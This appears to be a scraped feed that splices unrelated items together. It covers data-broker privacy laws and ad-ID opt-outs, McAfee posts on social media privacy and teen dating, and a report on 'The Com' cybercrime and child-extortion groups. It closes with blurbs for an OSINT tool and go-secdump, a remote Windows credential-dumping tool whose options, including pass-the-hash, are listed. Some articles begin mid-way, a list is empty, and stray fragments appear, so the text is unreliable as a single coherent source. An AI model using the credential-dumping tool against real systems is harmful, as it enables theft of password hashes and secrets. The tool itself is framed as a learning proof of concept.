In May 2024, Maryland passed the Judge Andrew F. Wilkinson Judicial Security Act — named after a county circuit court judge who was murdered by an individual involved in a divorce proceeding over which he was presiding. The law allows current and former members of the Maryland judiciary to request their personal information not be made available to the public.
Under the Maryland law, personal information can include a home address; telephone number, email address; Social Security number or federal tax ID number; bank account or payment card number; a license plate or other unique vehicle identifier; a birth or marital record; a child’s name, school, or daycare; place of worship; place of employment for a spouse, child, or dependent.
The law firm Troutman Pepper writes that “so far in 2024, 37 states have begun considering or have adopted similar privacy-based legislation designed to protect members of the judiciary and, in some states, other government officials involved in law enforcement.”
Atlas alleges that in response to requests to have data on its New Jersey law enforcement clients scrubbed from consumer records sold by LexisNexis, the data broker retaliated by freezing the credit of approximately 18,500 people, and falsely reporting them as identity theft victims.
In addition, Atlas said LexisNexis started returning failure codes indicating they had no record of these individuals, resulting in denials when officers attempted to refinance loans or open new bank accounts.
The data broker industry has responded by having at least 70 of the Atlas lawsuits moved to federal court, and challenging the constitutionality of the New Jersey statute as overly broad and a violation of the First Amendment.
Attorneys for the data broker industry argued in their motion to dismiss that there is “no First Amendment doctrine that exempts a content-based restriction from strict scrutiny just because it has some nexus with a privacy interest.”
Atlas’s lawyers responded that data covered under Daniel’s Law — personal information of New Jersey law enforcement officers — is not free speech. Atlas notes that while defending against comparable lawsuits, the data broker industry has argued that home address and phone number data are not “communications.”
“Data brokers should not be allowed to argue that information like addresses are not ‘communications’ in one context, only to turn around and claim that addresses are protectable communications,” Atlas argued (PDF). “Nor can their change of course alter the reality that the data at issue is not speech.”
The judge overseeing the challenge is expected to rule on the motion to dismiss within the next few weeks. Regardless of the outcome, the decision is likely to be appealed all the way to the U.S. Supreme Court.
Meanwhile, media law experts say they’re concerned that enacting Daniel’s Law in other states could limit the ability of journalists to hold public officials accountable, and allow authorities to pursue criminal charges against media outlets that publish the same type of public and government records that fuel the people-search industry.
Sen. Ron Wyden (D-Ore.) said Congress’ failure to regulate data brokers, and the administration’s continued opposition to bipartisan legislation that would limit data sales to law enforcement, have created this current privacy crisis.
“Whether location data is being used to identify and expose closeted gay Americans, or to track people as they cross state lines to seek reproductive health care, data brokers are selling Americans’ deepest secrets and exposing them to serious harm, all for a few bucks,” Wyden said in a statement shared with KrebsOnSecurity, 404 Media, Haaretz, NOTUS, and The New York Times.
Sen. Wyden said Google also deserves blame for refusing to follow Apple’s lead by removing companies’ ability to track phones.
“Google’s insistence on uniquely tracking Android users – and allowing ad companies to do so as well – has created the technical foundations for the surveillance economy and the abuses stemming from it,” Wyden said.
Georgetown Law’s Justin Sherman said the data broker and mobile ad industries claim there are protections in place to anonymize mobile location data and restrict access to it, and that there are limits to the kinds of invasive inferences one can make from location data. The data broker industry also likes to tout the usefulness of mobile location data in fighting retail fraud, he said.
“All kinds of things can be inferred from this data, including people being targeted by abusers, or people with a particular health condition or religious belief,” Sherman said. “You can track jurors, law enforcement officers visiting the homes of suspects, or military intelligence people meeting with their contacts. The notion that the sale of all this data is preventing harm and fraud is hilarious in light of all the harm it causes enabling people to better target their cyber operations, or learning about people’s extramarital affairs and extorting public officials.”
Privacy experts say disabling or deleting your device’s MAID will have no effect on how your phone operates, except that you may begin to see far less targeted ads on that device.
Any Android apps with permission to use your location should appear when you navigate to the Settings app, Location, and then App Permissions. “Allowed all the time” is the most permissive setting, followed by “Allowed only while in use,” “Ask every time,” and “Not allowed.”
Android users can delete their ad ID permanently, by opening the Settings app and navigating to Privacy > Ads. Tap “Delete advertising ID,” then tap it again on the next page to confirm. According to the EFF, this will prevent any app on your phone from accessing the ad ID in the future. Google’s documentation on this is here.
Image: eff.org
By default, Apple’s iOS requires apps to ask permission before they can access your device’s IDFA. When you install a new app, it may ask for permission to track you. When prompted to do so by an app, select the “Ask App Not to Track” option. Apple users also can set the “Allow apps to request to track” switch to the “off” position, which will block apps from asking to track you.
Apple’s Privacy and Ad Tracking Settings.
Apple also has its own targeted advertising system which is separate from third-party tracking enabled by the IDFA. To disable it, go to Settings, Privacy, and Apple Advertising, and ensure that the “Personalized Ads” setting is set to “off.”
Finally, if you’re the type of reader who’s the default IT support person for a small group of family or friends (bless your heart), it would be a good idea to set their devices not to track them, and to disable any apps that may have location data sharing turned on 24/7.
There is a dual benefit to this altruism, which is clearly in the device owner’s best interests. Because while your device may not be directly trackable via advertising data, making sure they’re opted out of said tracking also can reduce the likelihood that you are trackable simply by being physically close to those who are.
In our fast-moving digital world, today’s conversations can take on new meanings years down the line. Then you might find yourself explaining posts that no longer reflect who you are.
This reality makes it crucial to start a conversation in your family about social media archives. Teens and tweens are constantly posting, snapping, tweeting, and commenting every day. According to the latest research, 97% of teens go online daily, with many saying they are “almost constantly” connected.
With so much activity, it’s just a matter of time before some questionable content resurfaces, potentially compromising a job, scholarship, or personal relationship. Old social posts don’t just haunt celebrities; in today’s digital culture, everyone’s online activity is open to scrutiny.
1. Vet your content. Ask yourself some key questions: Is there anything in this post or comment that could hurt me in the future? Does this post defame a specific race, religion, or lifestyle? Is this content contributing to the conversation or just noise?
2. Be Careful with Humor: Not everyone shares your sense of humor. What seems funny today could be viewed differently in the future. Just look at how comedians and public figures are often held accountable for jokes or comments made years ago.
3. Don’t pick at it—purge it. No doubt, people change. You may not be the 20-something hothead who began tweeting or blogging nearly a decade ago, but your archives are still out and say otherwise. In her book, The Life-Changing Magic of Tidying Up, Japanese cleaning consultant Marie Kondo takes tidying to a whole new level, some of which we can apply here. 1) Don’t analyze everything and just pair down — purge. 2) Get rid of anything that doesn’t spark joy for you 3) Don’t ask yourself what you like about a photo or post, ask yourself ‘Why should this stay?’ 4) Keep only the content that makes you happy or inspires you. Chop everything else.
4. Use X’s advanced search. Some of us have tweeted out several novels worth of content. Who has time to go through that? Twitter has advanced search features that will help you quickly find questionable tweets. Just go to https://twitter.com/search-advanced and enter keywords and phrases, along with your user account name. This search will help isolate tweets that could be compromising.
5. Am I being true to who I am? Most tweens and teens are not asking themselves this question, but we can still encourage our kids to engage in this specific self-reflection. Encourage young publishers to think about what message and image they hope to project to go through their archives with that in mind. Encourage them to review everything about their profiles from their bio to the kinds of movies and books they’ve called out, to their Facebook groups. Ask: Is this still who you are? Are these still the interests you’d like to project?
6. Delete immediately:
7. Review likes and post privacy settings. Even the posts of others (that are marked public) that you like or comment on will show up on Google, which means others could judge you guilty by association. It may be time-consuming, but you can clean up your Facebook ‘like’ history in the Activity Log. If you want to share but still limit who can view your posts, McAfee’s Social Privacy Manager helps you adjust your social media privacy settings based on how public or private you want to be online.
8. Google yourself. See what comes up. Be sure to check images, videos, news, and more tabs. You just never know what content will make it into remote circles. If you find something surprising, contact the site host and request they remove the content.
The post Could Your Social Media History Come Back to Bite You? appeared first on McAfee Blog.
A cyberattack that shut down two of the top casinos in Las Vegas last year quickly became one of the most riveting security stories of 2023. It was the first known case of native English-speaking hackers in the United States and Britain teaming up with ransomware gangs based in Russia. But that made-for-Hollywood narrative has eclipsed a far more hideous trend: Many of these young, Western cybercriminals are also members of fast-growing online groups that exist solely to bully, stalk, harass and extort vulnerable teens into physically harming themselves and others.
Image: Shutterstock.
In September 2023, a Russian ransomware group known as ALPHV/Black Cat claimed credit for an intrusion at the MGM Resorts hotel chain that quickly brought MGM’s casinos in Las Vegas to a standstill. While MGM was still trying to evict the intruders from its systems, an individual who claimed to have firsthand knowledge of the hack contacted multiple media outlets to offer interviews about how it all went down.
One account of the hack came from a 17-year-old in the United Kingdom, who told reporters the intrusion began when one of the English-speaking hackers phoned a tech support person at MGM and tricked them into resetting the password for an employee account.
The security firm CrowdStrike dubbed the group “Scattered Spider,” a recognition that the MGM hackers came from different cliques scattered across an ocean of Telegram and Discord servers dedicated to financially-oriented cybercrime.
Collectively, this archipelago of crime-focused chat communities is known as “The Com,” and it functions as a kind of distributed cybercriminal social network that facilitates instant collaboration.
But mostly, The Com is a place where cybercriminals go to boast about their exploits and standing within the community, or to knock others down a peg or two. Top Com members are constantly sniping over who pulled off the most impressive heists, or who has accumulated the biggest pile of stolen virtual currencies.
And as often as they extort victim companies for financial gain, members of The Com are trying to wrest stolen money from their cybercriminal rivals — often in ways that spill over into physical violence in the real world.
CrowdStrike would go on to produce and sell Scattered Spider action figures, and it featured a life-sized Scattered Spider sculpture at this year’s RSA Security Conference in San Francisco.
But marketing security products and services based on specific cybercriminal groups can be tricky, particularly if it turns out that robbing and extorting victims is by no means the most abhorrent activity those groups engage in on a daily basis.
KrebsOnSecurity examined the Telegram user ID number of the account that offered media interviews about the MGM hack — which corresponds to the screen name “@Holy” — and found the same account was used across a number of cybercrime channels that are entirely focused on extorting young people into harming themselves or others, and recording the harm on video.
Holy was known to possess multiple prized Telegram usernames, including @bomb, @halo, and @cute, as well as one of the highest-priced Telegram usernames ever put up for sale: @nazi.
In one post on a Telegram channel dedicated to youth extortion, this same user can be seen asking if anyone knows the current Telegram handles for several core members of 764, an extremist group known for victimizing children through coordinated online campaigns of extortion, doxing, swatting and harassment.
People affiliated with harm groups like 764 will often recruit new members by lurking on gaming platforms, social media sites and mobile applications that are popular with young people, including Discord, Minecraft, Roblox, Steam, Telegram, and Twitch.
“This type of offence usually starts with a direct message through gaming platforms and can move to more private chatrooms on other virtual platforms, typically one with video enabled features, where the conversation quickly becomes sexualized or violent,” warns a recent alert from the Royal Canadian Mounted Police (RCMP) about the rise of sextortion groups on social media channels.
“One of the tactics being used by these actors is sextortion, however, they are not using it to extract money or for sexual gratification,” the RCMP continued. “Instead they use it to further manipulate and control victims to produce more harmful and violent content as part of their ideological objectives and radicalization pathway.”
The 764 network is among the most populated harm communities, but there are plenty more. Some of the largest such known groups include CVLT, Court, Kaskar, Leak Society, 7997, 8884, 2992, 6996, 555, Slit Town, 545, 404, NMK, 303, and H3ll.
In March, a consortium of reporters from Wired, Der Spiegel, Recorder and The Washington Post examined millions of messages across more than 50 Discord and Telegram chat groups.
“The abuse perpetrated by members of com groups is extreme,” Wired’s Ali Winston wrote. “They have coerced children into sexual abuse or self-harm, causing them to deeply lacerate their bodies to carve ‘cutsigns’ of an abuser’s online alias into their skin.” The story continues:
“Victims have flushed their heads in toilets, attacked their siblings, killed their pets, and in some extreme instances, attempted or died by suicide. Court records from the United States and European nations reveal participants in this network have also been accused of robberies, in-person sexual abuse of minors, kidnapping, weapons violations, swatting, and murder.”
“Some members of the network extort children for sexual pleasure, some for power and control. Some do it merely for the kick that comes from manipulation. Others sell the explicit CSAM content produced by extortion on the dark web.”
KrebsOnSecurity has learned Holy is the 17-year-old who was arrested in July 2024 by the U.K.’s West Midlands Police as part of a joint investigation with the FBI into the MGM hack.
Early in their cybercriminal career (as a 15-year-old), @Holy went by the handle “Vsphere,” and was a proud member of the LAPSUS$ cybercrime group. Throughout 2022, LAPSUS$ would hack and social engineer their way into some of the world’s biggest technology companies, including EA Games, Microsoft, NVIDIA, Okta, Samsung, and T-Mobile.
Another timely example of the overlap between harm communities and top members of The Com can be found in a group of criminals who recently stole obscene amounts of customer records from users of the cloud data provider Snowflake.
At the end of 2023, malicious hackers figured out that many major companies have uploaded massive amounts of valuable and sensitive customer data to Snowflake servers, all the while protecting those Snowflake accounts with little more than a username and password (no multi-factor authentication required). The group then searched darknet markets for stolen Snowflake account credentials, and began raiding the data storage repositories used by some of the world’s largest corporations.
Among those that had data exposed in Snowflake was AT&T, which disclosed in July that cybercriminals had stolen personal information and phone and text message records for roughly 110 million people — nearly all its customers.
A report on the extortion group from the incident response firm Mandiant notes that Snowflake victim companies were privately approached by the hackers, who demanded a ransom in exchange for a promise not to sell or leak the stolen data. All told, more than 160 organizations were extorted, including TicketMaster, Lending Tree, Advance Auto Parts and Neiman Marcus.
On May 2, 2024, a user by the name “Judische” claimed on the fraud-focused Telegram channel Star Chat that they had hacked Santander Bank, one of the first known Snowflake victims. Judische would repeat that claim in Star Chat on May 13 — the day before Santander publicly disclosed a data breach — and would periodically blurt out the names of other Snowflake victims before their data even went up for sale on the cybercrime forums.
A careful review of Judische’s account history and postings on Telegram shows this user is more widely known under the nickname “Waifu,” an early moniker that corresponds to one of the more accomplished SIM-swappers in The Com over the years.
In a SIM-swapping attack, the fraudsters will phish or purchase credentials for mobile phone company employees, and use those credentials to redirect a target’s mobile calls and text messages to a device the attackers control.
Several channels on Telegram maintain a frequently updated leaderboard of the 100 richest SIM-swappers, as well as the hacker handles associated with specific cybercrime groups (Waifu is ranked #24). That leaderboard has long included Waifu on a roster of hackers for a group that called itself “Beige.”
Beige members were implicated in two stories published here in 2020. The first was an August 2020 piece called Voice Phishers Targeting Corporate VPNs, which warned that the COVID-19 epidemic had brought a wave of voice phishing or “vishing” attacks that targeted work-from-home employees via their mobile devices, and tricked many of those people into giving up credentials needed to access their employer’s network remotely.
Beige group members also have claimed credit for a breach at the domain registrar GoDaddy. In November 2020, intruders thought to be associated with the Beige Group tricked a GoDaddy employee into installing malicious software, and with that access they were able to redirect the web and email traffic for multiple cryptocurrency trading platforms.
The Telegram channels that Judische and his related accounts frequented over the years show this user divides their time between posting in SIM-swapping and cybercrime cashout channels, and harassing and stalking others in harm communities like Leak Society and Court.
Mandiant has attributed the Snowflake compromises to a group it calls “UNC5537,” with members based in North America and Turkey. KrebsOnSecurity has learned Judische is a 26-year-old software engineer in Ontario, Canada.
Sources close to the investigation into the Snowflake incident tell KrebsOnSecurity the UNC5537 member in Turkey is John Erin Binns, an elusive American man indicted by the U.S. Department of Justice (DOJ) for a 2021 breach at T-Mobile that exposed the personal information of at least 76.6 million customers.
Binns is currently in custody in a Turkish prison and fighting his extradition. Meanwhile, he has been suing almost every federal agency and agent that contributed investigative resources to his case.
In June 2024, a Mandiant employee told Bloomberg that UNC5537 members have made death threats against cybersecurity experts investigating the hackers, and that in one case the group used artificial intelligence to create fake nude photos of a researcher to harass them.
In June 2024, two American men pleaded guilty to hacking into a U.S. Drug Enforcement Agency (DEA) online portal that tapped into 16 different federal law enforcement databases. Sagar “Weep” Singh, a 20-year-old from Rhode Island, and Nicholas “Convict” Ceraolo, 25, of Queens, NY, were both active in SIM-swapping communities.
Singh and Ceraolo hacked into a number of foreign police department email accounts, and used them to make phony “emergency data requests” to social media platforms seeking account information about specific users they were stalking. According to the government, in each case the men impersonating the foreign police departments told those platforms the request was urgent because the account holders had been trading in child pornography or engaging in child extortion.
Eventually, the two men formed part of a group of cybercriminals known to its members as “ViLE,” who specialize in obtaining personal information about third-party victims, which they then used to harass, threaten or extort the victims, a practice known as “doxing.”
The U.S. government says Singh and Ceraolo worked closely with a third man — referenced in the indictment as co-conspirator #1 or “CC-1” — to administer a doxing forum where victims could pay to have their personal information removed.
The government doesn’t name CC-1 or the doxing forum, but CC-1’s hacker handle is “Kayte” (a.k.a. “KT“) which corresponds to the nickname of a 23-year-old man who lives with his parents in Coffs Harbor, Australia. For several years (with a brief interruption), KT has been the administrator of a truly vile doxing community known as the Doxbin.
A screenshot of the website for the cybercriminal group “ViLE.” Image: USDOJ.
People whose names and personal information appear on the Doxbin can quickly find themselves the target of extended harassment campaigns, account hacking, SIM-swapping and even swatting — which involves falsely reporting a violent incident at a target’s address to trick local police into responding with potentially deadly force.
A handful of Com members targeted by federal authorities have gone so far as to perpetrate swatting, doxing, and other harassment against the same federal agents who are trying to unravel their alleged crimes. This has led some investigators working cases involving the Com to begin redacting their names from affidavits and indictments filed in federal court.
In January 2024, KrebsOnSecurity broke the news that prosecutors in Florida had charged a 19-year-old alleged Scattered Spider member named Noah Michael Urban with wire fraud and identity theft. That story recounted how Urban’s alleged hacker identities “King Bob” and “Sosa” inhabited a world in which rival cryptocurrency theft rings frequently settled disputes through so-called “violence-as-a-service” offerings — hiring strangers online to perpetrate firebombings, beatings and kidnappings against their rivals.
Urban’s indictment shows the name of the federal agent who testified to it has been blacked out:
The final page of Noah Michael Urban’s indictment shows the investigating agent redacted their name from charging documents.
In June 2022, this blog told the story of two men charged with hacking into the Ring home security cameras of a dozen random people and then methodically swatting each of them. Adding insult to injury, the men used the compromised security cameras to record live footage of local police swarming those homes.
McCarty, in a mugshot.
James Thomas Andrew McCarty, Charlotte, N.C., and Kya “Chumlul” Nelson, of Racine, Wisc., conspired to hack into Yahoo email accounts belonging to victims in the United States. The two would check how many of those Yahoo accounts were associated with Ring accounts, and then target people who used the same password for both accounts.
The Telegram and Discord aliases allegedly used by McCarty — “Aspertaine” and “Couch,” among others — correspond to an identity that was active in certain channels dedicated to SIM-swapping.
What KrebsOnSecurity didn’t report at the time is that both ChumLul and Aspertaine were active members of CVLT, wherein those identities clearly participated in harassing and exploiting young teens online.
In June 2024, McCarty was sentenced to seven years in prison after pleading guilty to making hoax calls that elicited police SWAT responses. Nelson also pleaded guilty and received a seven-year prison sentence.
In March 2023, U.S. federal agents in New York announced they’d arrested “Pompompurin,” the alleged administrator of Breachforums, an English-language cybercrime forum where hacked corporate databases frequently appear for sale. In cases where the victim organization isn’t extorted in advance by hackers, being listed on Breachforums has often been the way many victims first learned of an intrusion.
Pompompurin had been a nemesis to the FBI for several years. In November 2021, KrebsOnSecurity broke the news that thousands of fake emails about a cybercrime investigation were blasted out from the FBI’s email systems and Internet addresses.
Pompompurin took credit for that stunt, and said he was able to send the FBI email blast by exploiting a flaw in an FBI portal designed to share information with state and local law enforcement authorities. The FBI later acknowledged that a software misconfiguration allowed someone to send the fake emails.
In December, 2022, KrebsOnSecurity detailed how hackers active on BreachForums had infiltrated the FBI’s InfraGard program, a vetted network designed to build cyber and physical threat information sharing partnerships with experts in the private sector. The hackers impersonated the CEO of a major financial company, applied for InfraGard membership in the CEO’s name, and were granted admission to the community.
The feds named Pompompurin as 21-year-old Peekskill resident Conor Brian Fitzpatrick, who was originally charged with one count of conspiracy to solicit individuals to sell unauthorized access devices (stolen usernames and passwords). But after FBI agents raided and searched the home where Fitzpatrick lived with his parents, prosecutors tacked on charges for possession of child pornography.
Recent actions by the DOJ indicate the government is well aware of the significant overlap between leading members of The Com and harm communities. But the government also is growing more sensitive to the criticism that it can often take months or years to gather enough evidence to criminally charge some of these suspects, during which time the perpetrators can abuse and recruit countless new victims.
Late last year, however, the DOJ signaled a new tactic in pursuing leaders of harm communities like 764: Charging them with domestic terrorism.
In December 2023, the government charged (PDF) a Hawaiian man with possessing and sharing sexually explicit videos and images of prepubescent children being abused. Prosecutors allege Kalana Limkin, 18, of Hilo, Hawaii, admitted he was an associate of CVLT and 764, and that he was the founder of a splinter harm group called Cultist. Limkin’s Telegram profile shows he also was active on the harm community Slit Town.
The relevant citation from Limkin’s complaint reads:
“Members of the group ‘764’ have conspired and continue to conspire in both online and in-person venues to engage in violent actions in furtherance of a Racially Motivated Violent Extremist ideology, wholly or in part through activities that violate federal criminal law meeting the statutory definition of Domestic Terrorism, defined in Title 18, United States Code, § 2331.”
Experts say charging harm groups under anti-terrorism statutes potentially gives the government access to more expedient investigative powers than it would normally have in a run-of-the-mill criminal hacking case.
“What it ultimately gets you is additional tools you can use in the investigation, possibly warrants and things like that,” said Mark Rasch, a former U.S. federal cybercrime prosecutor and now general counsel for the New York-based cybersecurity firm Unit 221B. “It can also get you additional remedies at the end of the case, like greater sanctions, more jail time, fines and forfeiture.”
But Rasch said this tactic can backfire on prosecutors who overplay their hand and go after someone who ends up challenging the charges in court.
“If you’re going to charge a hacker or pedophile with a crime like terrorism, that’s going to make it harder to get a conviction,” Rasch said. “It adds to the prosecutorial burden and increases the likelihood of getting an acquittal.”
Rasch said it’s unclear where it is appropriate to draw the line in the use of terrorism statutes to disrupt harm groups online, noting that there certainly are circumstances where individuals can commit violations of domestic anti-terrorism statutes through their Internet activity alone.
“The Internet is a platform like any other, where virtually any kind of crime that can be committed in the real world can also be committed online,” he said. “That doesn’t mean all misuse of computers fits within the statutory definition of terrorism.”
The RCMP’s advisory on sexual extortion of minors over the Internet lists a number of potential warning signs that teens may exhibit if they become entangled in these harm groups. The FBI urges anyone who believes their child or someone they know is being exploited to contact their local FBI field office, call 1-800-CALL-FBI, or report it online at tips.fbi.gov.
When it comes to protecting your privacy, take a close look at your social media use—because sharing can quickly turn into oversharing.
The term “oversharing” carries several different definitions. Yet in our case here, oversharing means saying more than one should to more people than they should. Consider the audience you have across your social media profiles. Perhaps you have dozens, if not hundreds of friends and followers. All with various degrees of closeness and familiarity. Who among them can you absolutely trust with the information you share?
And you might be sharing more than you think. Posts have a way of saying more than one thing, like:
“This is the pool at the rental home I’m staying at this week. Amazing!” Which also tells everyone, “My home is empty for the next few days.”
“I can’t start my workday without a visit to my favorite coffee shop.” Which also says, “If you ever want to track me down in person, you can find me at this location practically any weekday morning.”
One can quickly point to other examples of oversharing. Unintentional oversharing at that.
A first-day-of-school picture can tell practical strangers which elementary school your children attend, say if the picture includes the school’s reader board in it. A snapshot of you joking around with a co-worker might reveal a glimpse of company information. Maybe because of what’s written on the whiteboard behind the two of you. And in one extreme example, there’s the case of an assault on a pop star. Her attacker tracked her down through her selfie, determining her location through the reflection in her eyes.
The list goes on.
That’s not to say “don’t post.” More accurately, it’s “consider what you’re posting and who gets to see it.” You have control over what you post, and to some degree, who gets to see those posts. That combination is key to your privacy—and the privacy of others too.
1) Be more selective with your settings: Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting—not to mention your relationships and likes. Taking a “friends only” approach to your social media profiles can help protect your privacy because that gives a possible scammer or stalker much less material to work with. Yet further, some platforms allow you to create sub-groups of friends and followers. With a quick review of your network, you can create a sub-group of your most trusted friends and restrict your posts to them as needed.
2) Say “no” to strangers bearing friend requests: Be critical of the invitations you receive. Out-and-out strangers might be more than just a stranger. They might be a fake account designed to gather information on users for purposes of fraud. There are plenty of fake accounts too. In fact, in Q1 of 2023 alone, Facebook took action on 426 million fake accounts. Reject such requests.
3) Consider what you post: Think about posting those vacation pictures after you get back so people don’t know you’re away when you’re away. Also, consider if your post pinpoints where you are or where you go regularly. Do you want people in your broader network to know that? Closely review the pics you take and see if there’s any revealing information in the background. If so, you can crop it out (think notes on a whiteboard, reflections in a window, or revealing location info). Further, ask anyone you want to include in their post for their permission. In all, consider their privacy too.
While we’re on the topic, you can take a few other steps that can make you more private online. In addition to your social media usage, other steps can help keep more of your private and personal information with you—where it belongs:
Granted, “social” is arguably the opposite of “private.” Using social media involves sharing, by its very definition. Yet any oversharing can lead to privacy issues.
Maybe you want close friends to know what’s going on, but what about that so-so acquaintance deep in your friends list? How well do you really know them? And to what extent do you want them to know exacting details about where you are, where your kids go to school, and so on? Those are questions you ultimately must answer, and ultimately have some control over depending on what you share on social media.
Also important to consider is this: if you post anything on the internet, consider it front-page news. Even with social media privacy settings in place, there’s no guarantee that someone won’t copy your posts or pics and pass them along to others.
The flipside to the topic of social media and privacy is the platform you’re using. It’s no secret that social media companies gather hosts of personal information about their users in exchange for free use of their platforms. Certainly, that’s a topic unto itself. We cover what social media companies know about you in this article here—along with a few steps that can help you limit what they know as well.
When it comes to your privacy and social media, it depends largely on how you use it. How you use various privacy and audience settings offers one way to manage it. The other is you and the information you put out there for others to see.
The post Sharing Isn’t Always Caring: Tips to Help Protect Your Online Privacy appeared first on McAfee Blog.
Falling in love in the internet age is a whole different ball game to the social-media-free ’70s, ’80s and ’90s. Awkward calls on the home phone, sending cards in the mail, and making mixtapes were all key relationship milestones back in the days of roller skates. But fast forward to the new millennium and dating is a whole different sport.
No longer are teens relying on their friends and family for introductions to new love interests, it’s all doable online thanks to the plethora of available dating apps and social media platforms. So it’s no surprise that research confirms that meeting online has officially displaced the traditional ways romantic partnerships were formed.
But how does it actually work? How do teens really connect online? Is it just about the dating apps? What about Instagram? Don’t they also use messaging apps to meet? And what does ‘benching’ and ‘beta-testing’ mean?
Ah, yes I know it can feel overwhelming but don’t stress – I got you! I’ve put together all the key information you need to know if you have kids who are starting their online dating journey.
When many of us think about online dating, we think about the major dating apps like Tinder and Bumble however that’s actually not where it all happens. In fact, many teens inform me that it really is all about Instagram, Snapchat, and increasingly, TikTok. I am reliably informed that these social media platforms give you a more authentic understanding of someone – great! But, in my opinion, there are potential safety issues with using social media to attract a mate. Particularly, if you have a young, inexperienced teen on your hands.
In order for people to be able to follow you on these platforms (and send you messages), you need to have your profile set to public. So, if you have a young, naïve teen who has their social media accounts set to public to ramp up their love life, then I consider this to be a safety concern. They can receive messages from anyone which is not ideal.
In 2024, chances are your teens will not meet a potential mate in real life (IRL) – it all happens online. But even on the rare chance they do first meet in person, or they eyeball someone they fancy across the school playground, the relationship will develop online. That’s where the magic happens!
So instead of multiple landline telephone calls to friends to ‘suss out’ their crush, they spend multiple hours researching their crush online. They’ll check out and dissect their photos and posts, find all their social media accounts, and then, depending on their level of courage, they may follow all their accounts. Colloquially, this is often referred to as ‘social media stalking’.
Once they’ve built up the courage, teens may start liking the posts of their crush. Some may even go back over old social media posts and photos from several years back to demonstrate their level of interest. This is known as ‘deepliking’. Some teens think this is an effective strategy, others consider this to be off-putting – each to their own!! But the goal here is to put yourself on the radar of your crush.
Now, once the ‘likes’ have gathered some momentum, the teen may decide it’s time to ‘slide into their crush’s DM’s’. Ah – there’s that expression. All it really means is that your teen will send a direct message to their love interest – usually on a social media app such as Instagram or TikTok.
But they may not even need to ‘slide into the DM’s’. I am reliably informed that if you like a few posts of a potential love interest and then, they like a few of yours, you’re flirting and there’s definitely a spark!! The love interest may then just be the one initiating interest.
Now, if there is a spark and the crush has replied, the next phase is messaging – and a lot of it! Potentially 1000’s of messages. I have first-hand experience of paying a telephone bill for someone (no names) who was super smitten with a girl in the days before unlimited data. All I can say is ouch!!!
Now this messaging may take place on a social media app, a messaging app such as WhatsApp, Messenger, or even via text. Or possibly even a combination of them all!! The key here is to keep the messaging going to suss out whether there is a vibe!
But the messaging stage is where it can get messy and confusing. It’s not unusual for teens to be messaging with several potential love interests at once – essentially keeping their options open. Some refer to this as ‘beta-testing’, I would refer to it as disrespectful and probably exhausting – but hey, I’m old school! But this is often a reality for many teens, and it can be quite demoralising to feel like you’re being ‘managed’.
Now, this is a big moment. When your teen and their crush have decided they are exclusive and officially a thing, the next step is to let the world know and make it official. So, they may choose to update their status on their social media platforms to ‘in a relationship’. But if they are after a softer launch, they may simply post a pic of each other, or even together.
Believe it or not, some teens may never actually meet in real life (IRL) but still be in a relationship. If this is the case then it’s more likely that sexting will be part of the relationship. Research shows that 1 in 3 Aussie teens (aged 14 to 17) have some experience with sexting ie sending, receiving, being asked, and asking for nude pics however I think in reality, it is likely more – not everyone answers surveys honestly!
So, yes sexting does happen and while I wish it just didn’t, we can’t put our heads in the sand. So, I encourage all parents to remind their kids that once they send an image they lose control of it, that not all relationships last forever, and that they should never be coerced into doing something they are not comfortable with. Stay tuned for further posts with more sexting tips!
At the risk of being a cynic, chances are your child’s teen relationships will probably not last a lifetime. So, how do you break up when you’re a digital native?
Well, before the break-up phase, ‘benching’ can occur. This happens when one partner no longer wants to meet up with the other in person. It may also be the moment when your teen’s messages are no longer returned – this is called LOR – left on read. Most of us would call this ghosting. But regardless of what you call it, it’s not a nice feeling.
Call me old fashioned but I am a big fan of breaking up with your love in person and my boys know that. Tapering off contact or telling someone that the relationship is over via text is disrespectful, in my opinion.
Helping kids through heartache is tough – I’ve been there!! If your teen is finding life post-relationship hard, why don’t you suggest they delete their social media apps for a week or 2? It’s hard to move on from someone when you are still receiving messages and/or seeing their notifications. It may even be worth unfriending or unfollowing the ex as well.
So, even though the landscape has changed, and the mixtapes have gone, please don’t forget that dating and romance can be super tricky when you are a teen. Not only are you dealing with matters of the heart but in the world’s biggest public forum – the internet. So be kind, gentle, and supportive! And be grateful for the simplicity of the ’70s, ’80s and ’90s.
Alex xx
The post How Teens Date in the Digital Age appeared first on McAfee Blog.
Pip-Intel is a powerful tool designed for OSINT (Open Source Intelligence) and cyber intelligence gathering activities. It consolidates various open-source tools into a single user-friendly interface simplifying the data collection and analysis processes for researchers and cybersecurity professionals.
Pip-Intel utilizes Python-written pip packages to gather information from various data points. This tool is equipped with the capability to collect detailed information through email addresses, phone numbers, IP addresses, and social media accounts. It offers a wide range of functionalities including email-based OSINT operations, phone number-based inquiries, geolocating IP addresses, social media and user analyses, and even dark web searches.
Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.
It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.
Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.
Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral
FreshRSS 
Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
